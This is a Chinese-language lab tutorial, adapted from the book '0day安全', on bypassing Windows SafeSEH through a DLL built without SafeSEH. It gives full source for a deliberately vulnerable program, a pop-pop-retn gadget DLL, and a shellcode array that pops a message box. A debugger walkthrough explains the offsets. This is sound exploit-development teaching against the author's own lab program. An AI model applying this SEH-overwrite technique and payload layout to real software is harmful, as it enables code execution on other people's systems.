SafeSEH Exploit——利用未启用SafeSEH的DLL

实验内容和代码均修改自《0day安全》第二版

实验环境

操作系统: Windows XP SP3 DEP关闭
EXE编译器: Visual Studio 2008
DLL编译器: VC++6.0 dll 基址设置 /base:"0x11120000"
编译选项: 禁用优化 (/0d)
build版本: release版本

实验原理

结合之前的内容,可以了解到对于未启用 SafeSEH 的 dll 中的函数,如果该函数被调用作为异常处理函数,只要不包含中间语言(IL),这个函数就可以通过 SafeSEH 机制的校验,进而被执行。

为了绕过 SafeSEH 的校验,我们常常选择一个跳板作为伪造的异常处理函数来“骗”过校验。包括之前堆中的 shellcode,这里未启用 SafeSEH 的模块,以及之后会提到的加载模块之外的指令跳板。区别在于对于堆来说 shellcode 存放在堆中;而这里的shellcode需要从“异常处理函数”返回到栈中来执行。

但从原理上来说,这些思想在实现 溢出-借助跳板-执行shellcode 的思路上都是大同小异的。

实验代码

先是用 VC++6.0 编译的DLL文件,源码如下:

// SEH_NoSafeSEH_JUMP.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
BOOL APIENTRY DllMain( HANDLE hModule,DWORD  ul_reason_for_call, LPVOID lpReserved)
{
    return TRUE;
}
void jump()
{
__asm{
    pop eax
    pop eax
    retn
    }
}

由于VC++6.0 编译的DLL默认基址为0x10000000,即我们需要的跳板地址中包含了 0x00 ,会截断 strcpy ,所以这里需要更改一下工程选项,将默认的基址改掉,这里改为/base:"0x11120000"。


SafeSEH Exploit——利用未启用SafeSEH的DLL_第1张图片

(注:或许第一次接触的话会疑惑为什么改了以后装载基址中还是含有0x00。其实,DLL 文件中,代码片还有一个偏移量,一般是 0x1000 ,而最低位的 0x00 也会被我们需要的跳板代码的起始位置所替换,所以最后使用的跳板地址中便不会含有 0x00 了。)

接下来是 VS2008 编译的EXE:


#include "stdafx.h"
#include 
#include 
char shellcode[]=


"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x12\x10\x12\x11"//address of pop pop retn in No_SafeSEH module
"\x90\x90\x90\x90\x90\x90\x90\x90"
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53\x50\x50"
"\x53\xFF\x57\xFC\x53\xFF\x57\xF8"

;

DWORD MyException(void)
{
    printf("There is an exception");
    getchar();
    return 1;
}
void test(char * input)
{
    char str[200];
    strcpy(str,input);  
    int zero=0;
    __try
    {
        zero=1/zero;
    }
    __except(MyException())
    {
    }
}
int _tmain(int argc, _TCHAR* argv[])
{
    HINSTANCE hInst = LoadLibrary(_T("SEH_NOSafeSEH_JUMP.dll"));//load No_SafeSEH module
    char str[200];
    //__asm int 3
    test(shellcode);
    return 0;
}

大致思路与之前一致,在这里先装载了一个未启用 SafeSEH 的DLL,在 test 函数中通过 strcpy 制造溢出,湮没异常处理函数指针指向该DLL,再刻意制造了一个除零异常,借助该DLL中 pop pop retn 指令作为跳板,绕过 SafeSEH 校验,并劫持程序返回栈中执行 shellcode 。

调试过程

由于 DLL 装载地址是固定的,这里我采用 OD 直接打开该程序进行调试。
找到 main 函数跟进,执行完 LoadLibrary 后,使用 OllySEEH 插件查看加载的 DLL 的 SafeSEH 情况。

可以看到该 DLL 的加载基址为之前设置的0x11120000。
如果之前没有分析过 DLL ,可以先用 LordPE 打开该 DLL 文件,结构就一目了然了。

SafeSEH Exploit——利用未启用SafeSEH的DLL_第2张图片

得到装载基址为 0x11120000,代码片的偏移为 0x1000,即我们在这个 DLL 中添加的pop pop retn指令可以从0x11121000开始找。

接下来转到该位置查看设定的 pop pop retn 指令位置,在后面的 code 中也有别的可以利用的 pop pop retn 指令(如下图 0x11121017 处),这里我们用的是自主添加的位置 0x11121012 的指令作为跳板。

SafeSEH Exploit——利用未启用SafeSEH的DLL_第3张图片

确定好跳板地址后,我们跟进程序,进入 test 函数执行流程,在 strcpy 函数执行完毕处中断:
(只要尝试跟进字符串复制流程即可发现,strcpy 执行时是一个字节一个字节覆盖的,所以只要简单地定位到 jnz 的下一条指令即可定位到 strcpy 完成处,完成处还会将 0x00 添加到字符串尾,如这里的 mov dword ptr ss:[ebp-0x1c], 0x0 这条指令,用来表示字符串结束。)

SafeSEH Exploit——利用未启用SafeSEH的DLL_第4张图片

再观察栈的情况可以看到字符串的起始地址为 0x0012FDB8

SafeSEH Exploit——利用未启用SafeSEH的DLL_第5张图片

另外由于 SEH 节点是保存在栈中的,一般距离当前栈帧最近的 SEH 节点位于 ESP 下方(高位),往后翻即可看到,当然也可以直接通过 OD 查看 SEH Chain 。

得到最近的节点位于 0x0012FE90 ,所以最近的异常处理函数指针位于 0x0012FE90 + 4 的位置(前四个字节指向下一个节点,当然这里只有这一个异常处理节点)。

到这里,调试已经接近尾声了,可是还没有完全成功。结合上面 strcpy 执行完成后的汇编指令以及之前的源代码,这里有一个细节:VS2008 编译的函数,在进入 __try{} 语句块时,会在 Security Cookie + 4 的位置压入一个值 。这个值会根据该语句块在函数中的位置而修改成不同的值。

例如两个 __try{} 语句块,进入第一个时该值为 0 ,进入第二个时为1。出现异常或处理完毕后赋值为 -2(VS2008 编译的为-2,VC++6.0 中为 -1) 。

SafeSEH Exploit——利用未启用SafeSEH的DLL_第6张图片

该值在异常处理中还有其他用途,这里不做展开。然而,它对我们的 shellcode 可能会造成影响,即可能会截断我们的机器码。

SafeSEH Exploit——利用未启用SafeSEH的DLL_第7张图片

由上图可以看到,如果在shellcode 的 pop pop retn 地址后直接跟上我们的机器码,那么势必会被这个异常处理的值给破坏。所以我们再加上8个 \x90 的填充即可。

最后经过计算,shellcode 的整体布局为:220个字节的 \x90 填充,4字节的跳板地址,8字节的填充,168字节的机器码。

F9 让程序继续执行即可看到弹出对话框


SafeSEH Exploit——利用未启用SafeSEH的DLL_第8张图片

你以为结束了?
其实这里还有另外两个小插曲。

第一个小插曲:
一个是我们这里劫持的程序流程位于shellcode的起始位置,而shellcode中的一部分已经被跳板的地址和 __try{} 语句块需要的值给污染了,虽然很幸运地在这里这两处污染不会影响程序逻辑,但谨慎点总是好的。故而我们这里可以将 shellcode 起始位置处的 \x90\x90 改为一个简单的短跳转,短转移偏移量 = 0x0012FEA0 - 0x0012FE90 - 2 = 0x0E,因为 jmp 跳转基址是按照下一条指令来确定的,要减去两个字节的短转移指令长。

如果难以清晰理解的话可以参见下图:


我们只要构造短转移指令机器码0xEB0E (EB 为短转移指令机器码),置入0x0012FE90对应的 shellcode 位置,如此便不用担心 shellcode 被污染的问题了。

SafeSEH Exploit——利用未启用SafeSEH的DLL_第9张图片

第二个小插曲:
我们选择pop pop retn的原因是,在进入异常函数处理之时,栈的情况是 esp +8 的位置保存了处理该异常的 SEH 节点首地址 0x0012FE90 ,那为什么这个地址会入栈呢?

简单地讲,在通过 SEH 进行异常处理的时候,会先把当前 SEH 节点的首地址,也就是 nextSEH 的指针压入栈( 正常情况下,如果第一个节点无法处理该异常,转向下一节点),然后压进去两个现场相关的参数。所以两次 pop 之后,retn 指令赋值给 eip 的内容自然是当前 SEH 节点的首地址 0x0012FE90 了。

你可能感兴趣的:(SafeSEH Exploit——利用未启用SafeSEH的DLL)